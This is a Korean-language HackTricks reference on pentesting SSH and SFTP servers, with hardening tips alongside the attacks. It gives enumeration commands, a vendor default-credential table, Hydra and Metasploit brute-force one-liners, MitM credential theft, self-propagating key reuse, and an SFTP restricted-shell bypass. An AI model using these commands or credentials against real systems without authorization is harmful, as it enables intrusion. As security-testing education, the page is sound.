22 - Pentesting SSH/SFTP

htARTE (HackTricks AWS Red Team Expert)에서 **제로부터 영웅이 될 때까지 AWS 해킹 배우기**!

다른 방법으로 HackTricks를 지원하는 방법:

버그 바운티 팁: 해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼Intigriti에 가입하세요! 오늘 https://go.intigriti.com/hacktricks에서 참여하여 최대 $100,000의 바운티를 받으세요!

기본 정보

**SSH (Secure Shell 또는 Secure Socket Shell)**는 안전하지 않은 네트워크를 통해 컴퓨터에 안전한 연결을 가능케 하는 네트워크 프로토콜입니다. 원격 시스템에 접근할 때 데이터의 기밀성과 무결성을 유지하는 데 필수적입니다.

기본 포트: 22

22/tcp open  ssh     syn-ack

SSH 서버:

  • openSSH – OpenBSD SSH, BSD, Linux 배포 및 Windows에서 Windows 10부터 제공됨

  • Dropbear – 낮은 메모리 및 프로세서 자원 환경을 위한 SSH 구현, OpenWrt에 포함

  • PuTTY – Windows용 SSH 구현, 클라이언트는 일반적으로 사용되지만 서버 사용은 드물다

  • CopSSH – Windows용 OpenSSH 구현

SSH 라이브러리 (서버 측 구현):

  • libssh – SSHv2 프로토콜을 구현하는 멀티플랫폼 C 라이브러리로, Python, Perl, R에서 바인딩을 제공; KDE에서 sftp에 사용되며 GitHub에서 git SSH 인프라에 사용됨

  • wolfSSH – ANSI C로 작성된 SSHv2 서버 라이브러리로, 임베디드, RTOS 및 자원 제한 환경을 대상으로 함

  • Apache MINA SSHD – Apache SSHD java 라이브러리는 Apache MINA에 기반함

  • paramiko – Python SSHv2 프로토콜 라이브러리

열거

배너 그랩핑

nc -vn <IP> 22

자동화된 ssh-audit

ssh-audit는 ssh 서버 및 클라이언트 구성 감사를 위한 도구입니다.

https://github.com/jtesta/ssh-audithttps://github.com/arthepsy/ssh-audit/에서 업데이트된 포크입니다.

기능:

  • SSH1 및 SSH2 프로토콜 서버 지원;

  • SSH 클라이언트 구성 분석;

  • 배너 가져오기, 장치 또는 소프트웨어 및 운영 체제 인식, 압축 감지;

  • 키 교환, 호스트 키, 암호화 및 메시지 인증 코드 알고리즘 수집;

  • 알고리즘 정보 출력 (사용 가능한 시기, 제거/비활성화, 불안전한/약한/레거시 등);

  • 알고리즘 권장 사항 출력 (인식된 소프트웨어 버전에 따라 추가 또는 제거);

  • 보안 정보 출력 (관련 문제, 할당된 CVE 목록 등);

  • 알고리즘 정보를 기반으로 한 SSH 버전 호환성 분석;

  • OpenSSH, Dropbear SSH 및 libssh의 역사적 정보;

  • Linux 및 Windows에서 실행;

  • 의존성 없음

usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

서버의 공개 SSH 키

ssh-keyscan -t rsa <IP> -p <PORT>

취약한 암호 알고리즘

이는 기본적으로 nmap에 의해 발견됩니다. 그러나 sslcan 또는 sslyze를 사용할 수도 있습니다.

Nmap 스크립트

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

Brute force usernames, passwords and private keys

사용자 이름 열거

일부 OpenSSH 버전에서는 사용자를 열거하기 위해 타이밍 공격을 수행할 수 있습니다. 이를 악용하기 위해 metasploit 모듈을 사용할 수 있습니다:

msf> use scanner/ssh/ssh_enumusers

여기여기에서 일반적인 ssh 자격 증명을 찾을 수 있습니다.

개인 키 무차별 대입 공격

사용 가능한 ssh 개인 키를 알고 있다면... 시도해 봅시다. nmap 스크립트를 사용할 수 있습니다:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

또는 MSF 보조 모듈:

msf> use scanner/ssh/ssh_identify_pubkeys

또는 ssh-keybrute.py (네이티브 python3, 가벼우며 레거시 알고리즘을 활성화함): snowdroppe/ssh-keybrute.

알려진 나쁜 키는 여기에서 찾을 수 있습니다:

약한 SSH 키 / Debian 예측 가능한 PRNG

일부 시스템에는 암호화 자료를 생성하는 데 사용된 난수 시드에 알려진 결함이 있습니다. 이는 브루트포스로 해독될 수 있는 키 공간이 크게 줄어들 수 있습니다. 약한 PRNG에 영향을 받는 Debian 시스템에서 생성된 미리 생성된 키 세트는 여기에서 사용할 수 있습니다: g0tmi1k/debian-ssh.

피해자 머신에 대한 유효한 키를 검색하려면 여기를 참조해야 합니다.

케르버로스

crackmapexecssh 프로토콜을 사용하여 케르버로스를 통해 인증할 수 있습니다. 자세한 정보는 crackmapexec ssh --help를 실행하십시오.

기본 자격 증명

공급업체

사용자 이름

비밀번호

APC

apc, device

apc

Brocade

admin

admin123, password, brocade, fibranne

Cisco

admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin

admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme

Citrix

root, nsroot, nsmaint, vdiadmin, kvm, cli, admin

C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler

D-Link

admin, user

private, admin, user

Dell

root, user1, admin, vkernel, cli

calvin, 123456, password, vkernel, Stor@ge!, admin

EMC

admin, root, sysadmin

EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc

HP/3Com

admin, root, vcx, app, spvar, manage, hpsupport, opc_op

admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin

Huawei

admin, root

123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123

IBM

USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer

PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer

Juniper

netscreen

netscreen

NetApp

admin

netapp123

Oracle

root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user

changeme, ilom-admin, ilom-operator, welcome1, oracle

VMware

vi-admin, root, hqadmin, vmware, admin

vmware, vmw@re, hqadmin, default

SSH-MitM

피해자가 SSH 서버에 사용자 이름과 비밀번호를 사용하여 연결하려는 로컬 네트워크에 있다면 MitM 공격을 수행하여 해당 자격 증명을 도난할 수 있습니다:

공격 경로:

  • 트래픽 리다이렉션: 공격자는 피해자의 트래픽을 자신의 기기로 전환하여 SSH 서버로의 연결 시도를 가로챕니다.

  • 가로채기 및 기록: 공격자의 기기는 프록시로 작동하여 사용자의 로그인 세부 정보를 가로채어 정당한 SSH 서버인 것처럼 가장합니다.

  • 명령 실행 및 릴레이: 마지막으로, 공격자의 서버는 사용자의 자격 증명을 기록하고, 명령을 실제 SSH 서버로 전달하고, 그 명령을 실행하고, 결과를 사용자에게 다시 보내어 프로세스가 원활하고 정당한 것처럼 보이도록 합니다.

SSH MITM은 위에서 설명한 대로 작동합니다.

실제 MitM을 수행하려면 ARP 스푸핑, DNS 스푸핑 또는 네트워크 스푸핑 공격에서 설명된 기타 기술을 사용할 수 있습니다.

SSH-Snake

시스템에서 발견된 SSH 개인 키를 사용하여 각 시스템에서 새 호스트에 대해 각 개인 키를 활용하여 네트워크를 탐색하려면 SSH-Snake가 필요합니다.

SSH-Snake는 다음 작업을 자동으로 반복합니다:

  1. 현재 시스템에서 SSH 개인 키를 찾습니다.

  2. 현재 시스템에서 발견된 개인 키가 수락될 수 있는 모든 호스트 또는 대상 (사용자@호스트)를 찾습니다.

  3. 발견된 모든 개인 키를 사용하여 모든 대상에 SSH를 시도합니다.

  4. 대상에 성공적으로 연결된 경우, 연결된 시스템에서 단계 #1 - #4를 반복합니다.

이는 완전히 자체 복제 및 자체 전파되며 완전히 파일이 없습니다.

구성 오류

루트 로그인

SSH 서버가 기본적으로 루트 사용자 로그인을 허용하는 것은 일반적이며 중요한 보안 위험을 야기합니다. 루트 로그인 비활성화는 서버를 보호하는 중요한 단계입니다. 이 변경 사항을 통해 관리 권한이 없는 액세스 및 브루트포스 공격을 완화할 수 있습니다.

OpenSSH에서 루트 로그인 비활성화 방법:

  1. sudoedit /etc/ssh/sshd_configSSH 구성 파일을 편집합니다.

  2. #PermitRootLogin yes에서 **PermitRootLogin no**로 설정을 변경합니다.

  3. sudo systemctl daemon-reload를 사용하여 구성을 다시로드합니다.

  4. 변경 사항을 적용하려면 SSH 서버를 다시 시작합니다: sudo systemctl restart sshd

SFTP 브루트 포스

SFTP 명령 실행

SFTP 설정에서 흔히 발생하는 실수는 사용자에게 원격 셸 액세스를 활성화하지 않고 파일을 교환할 수 있도록 하는 것을 의도하는 관리자들이 있음에도 불구하고, 비대화식 셸 (예: /usr/bin/nologin)로 사용자를 설정하고 특정 디렉토리로 제한하는 것입니다. 보안 구멍이 남아 있습니다. 사용자는 로그인 직후에 지정된 비대화식 셸이 작동하기 전에 (/bin/bash와 같은) 명령을 실행하도록 요청함으로써 이러한 제한을 우회할 수 있습니다. 이는 무단 명령 실행을 허용하여 의도한 보안 조치를 약화시킵니다.

여기에서 예제

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

다음은 사용자 noraj를 위한 안전한 SFTP 구성 예시 (/etc/ssh/sshd_config - openSSH)입니다:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

이 구성은 오직 SFTP만 허용하도록 할 것입니다: 시작 명령을 강제로 실행하여 셸 액세스를 비활성화하고 TTY 액세스를 비활성화하면서 포트 포워딩이나 터널링을 모두 비활성화합니다.

SFTP 터널링

SFTP 서버에 액세스할 수 있다면 일반적인 포트 포워딩을 사용하여 트래픽을 터널링할 수도 있습니다.

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

SFTP 심볼릭 링크

sftp에는 "symlink" 명령이 있습니다. 따라서 특정 폴더에서 쓰기 권한이 있다면 다른 폴더/파일의 심볼릭 링크를 생성할 수 있습니다. 아마도 chroot 안에 갇혀 있기 때문에 이것은 특별히 유용하지 않을 것입니다. 그러나 생성된 심볼릭 링크no-chroot 서비스(예: 웹에서 심볼릭 링크에 액세스할 수 있는 경우)에서 액세스할 수 있다면 웹을 통해 심볼릭 링크된 파일을 열 수 있습니다.

예를 들어, 새 파일 "froot"에서 "_/_**"**로 심볼릭 링크를 생성하려면:

sftp> symlink / froot

인증 방법

고안전 환경에서는 간단한 패스워드 기반 인증보다는 키 기반 또는 이중 인증을 활성화하는 것이 일반적입니다. 그러나 종종 강력한 인증 방법을 활성화한 채로 약한 인증 방법을 비활성화하지 않는 경우가 있습니다. 자주 발생하는 경우는 openSSH 구성에서 publickey를 활성화하고 기본 방법으로 설정하지만 password를 비활성화하지 않는 것입니다. 따라서 SSH 클라이언트의 상세 모드를 사용하여 공격자는 약한 방법이 활성화되어 있는 것을 확인할 수 있습니다:

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

예를 들어 인증 실패 한계가 설정되어 있고 비밀번호 방법에 도달할 기회가 없는 경우 PreferredAuthentications 옵션을 사용하여 이 방법을 강제로 사용할 수 있습니다.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

구성 파일

SSH 서버 구성을 검토하여 예상된 메소드만 허용되는지 확인하는 것이 필요합니다. 클라이언트에서 verbose 모드를 사용하면 구성의 효과를 확인하는 데 도움이 됩니다.

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

참고 자료

버그 바운티 팁: Intigriti에 가입하여 해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼에 가입하세요! 오늘 https://go.intigriti.com/hacktricks 에서 함께 하고 최대 $100,000의 바운티를 받아보세요!

HackTricks 자동 명령어

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요

다른 방법으로 HackTricks를 지원하는 방법:

Last updated